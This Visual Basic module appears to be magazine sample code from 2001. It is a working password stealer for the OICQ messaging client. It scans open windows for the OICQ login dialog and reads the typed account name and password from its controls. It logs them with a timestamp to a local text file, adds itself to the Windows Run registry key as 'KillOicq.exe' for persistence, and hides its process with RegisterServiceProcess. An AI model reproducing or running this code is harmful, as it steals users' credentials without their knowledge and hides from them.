module1.bas

电脑编程技巧与维护200109期杂志源代码

Attribute VB_Name = "Module1"
Option Explicit

Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, _
ByVal lpClassName As String, ByVal nMaxCount As Long) As Long '为指定的窗口取得类名
Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Const GW_CHILD = 5
Const GW_HWNDNEXT = 2

Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal _
wMsg As Long, ByVal wParam As Long, lParam As Any) As Long '发送消息
Const WM_GETTEXT = &HD
Const WM_GETTEXTLENGTH = &HE

Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Const RSP_SIMPLE_SERVICE = 1 '隐藏

Declare Function RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal lpszSubKey$, lphKey&)
Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1

Declare Function CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" _
(ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, ByVal flProtect _
As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName _
As String) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Type SECURITY_ATTRIBUTES
        nLength As Long
        lpSecurityDescriptor As Long
        bInheritHandle As Long
End Type

Const PAGE_READWRITE = 1
Const ERROR_ALREADY_EXISTS = 183&

Dim buf As String
Dim nameall, name, passwordall, password As String
Dim i As Integer
Dim title, titleall, filepath As String

Public Function EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Boolean '遍查主窗口
Dim buf As String * 1024
Dim length As Long


    filepath = App.Path & "\0.txt"
    If Dir(filepath) = "" Then
        title = ""
        titleall = ""
    End If
    
    length = GetWindowText(app_hwnd, buf, Len(buf))
    title = Left$(buf, length)

    If InStr(title, "OICQ用户登录") Then '判断是否为 OICQ 窗口
        Call GetZiWin(app_hwnd)
    End If
    
    If title <> "" Then
        If InStr(titleall, title) Then
            EnumProc = 1
    Else
            titleall = titleall + title
            If name <> "" Then
                If InStr(title, name) Then SaveFile '保存帐号密码
            End If
    End If
End If
EnumProc = 1
End Function


Public Function GetZiWin(window_hwnd As Long) As String
Dim buflen As Long
Dim child_hwnd As Long
Dim children() As Long
Dim num_children As Integer
Dim i As Integer

    '取得类名
    buflen = 256
    buf = Space$(buflen - 1)
    buflen = GetClassName(window_hwnd, buf, buflen)
    buf = Left$(buf, buflen)
    
    If Right(buf, 8) = "ComboBox" Or Right(buf, 4) = "Edit" Then
        GetZiWin = GetWinText(window_hwnd)
        Exit Function
    End If


    num_children = 0
    child_hwnd = GetWindow(window_hwnd, GW_CHILD) '取得第 1 个子窗口的句柄
    Do While child_hwnd <> 0 '如果有子窗口
        num_children = num_children + 1
        ReDim Preserve children(1 To num_children)
        children(num_children) = child_hwnd
        
        child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) '取得下一个兄弟窗口的句柄
    Loop
    
    For i = 1 To num_children
        Call GetZiWin(children(i))
    Next i
End Function

Public Function GetWinText(window_hwnd As Long) As String '取得子窗口的值
Dim txtlen As Long
Dim txt As String

  '通过 SendMessage 发送 WM_GETTEXT 取得地址栏的值
  GetWinText = ""
  If window_hwnd = 0 Then Exit Function
    
  txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
  If txtlen = 0 Then Exit Function
    
  txtlen = txtlen + 1
  txt = Space$(txtlen)
  txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal txt)
  GetWinText = Left$(txt, txtlen)
    
  If buf = "ComboBox" Then
        name = GetWinText
        If InStr(nameall, name) Then
                i = 0
        Else
                nameall = nameall + name
                i = i + 1
        End If
  Else
        password = GetWinText
        If InStr(passwordall, password) Then
                i = 0
        Else
                passwordall = passwordall + password
                i = i + 1
        End If
  End If
  
End Function

Sub SaveFile()
Dim file_num As Integer
Dim allstr As String
  allstr = name & Space(5) & password & Space(5) & Now
  file_num = FreeFile
  If Dir(filepath) = "" Then
      Open filepath For Output As #file_num
  Else
      Open filepath For Append As #file_num
  End If
  Print #file_num, allstr
  Close #file_num
End Sub

Sub AutoRun()
Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String
Dim Ret As Integer, lphKey As Long
  sKeyName = "Software\Microsoft\Windows\CurrentVersion\Run" '是启动项在注册表中位置，大家可能通过 regedit.exe 来查看
  sKeyValue = App.Path & IIf(Len(App.Path) > 3, "\" & "KillOicq.exe", "KillOicq.exe") 'monitor.exe 为这个程序
  Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) '创建新的启动项
  Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) '设置键值
End Sub

Sub Main()
Dim ynRun As Long
Dim sa As SECURITY_ATTRIBUTES

  sa.bInheritHandle = 1
  sa.lpSecurityDescriptor = 0
  sa.nLength = Len(sa)
  ynRun = CreateFileMapping(&HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, App.title) '创建内存映射文件
  'If ynRun = 0 Then MsgBox "创建内存映射文件失败", vbQuestion, "错误"
  If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then '如果指定内存文件已存在，则提示并退出
  '    MsgBox "程序已运行！", vbQuestion, "错误"
      CloseHandle ynRun '退出程序前关闭内存映射文件
      End
  End If
End Sub

Sub HideMyWin()
    Dim lngProcessID As Long
    RegisterServiceProcess lngProcessID, RSP_SIMPLE_SERVICE
End Sub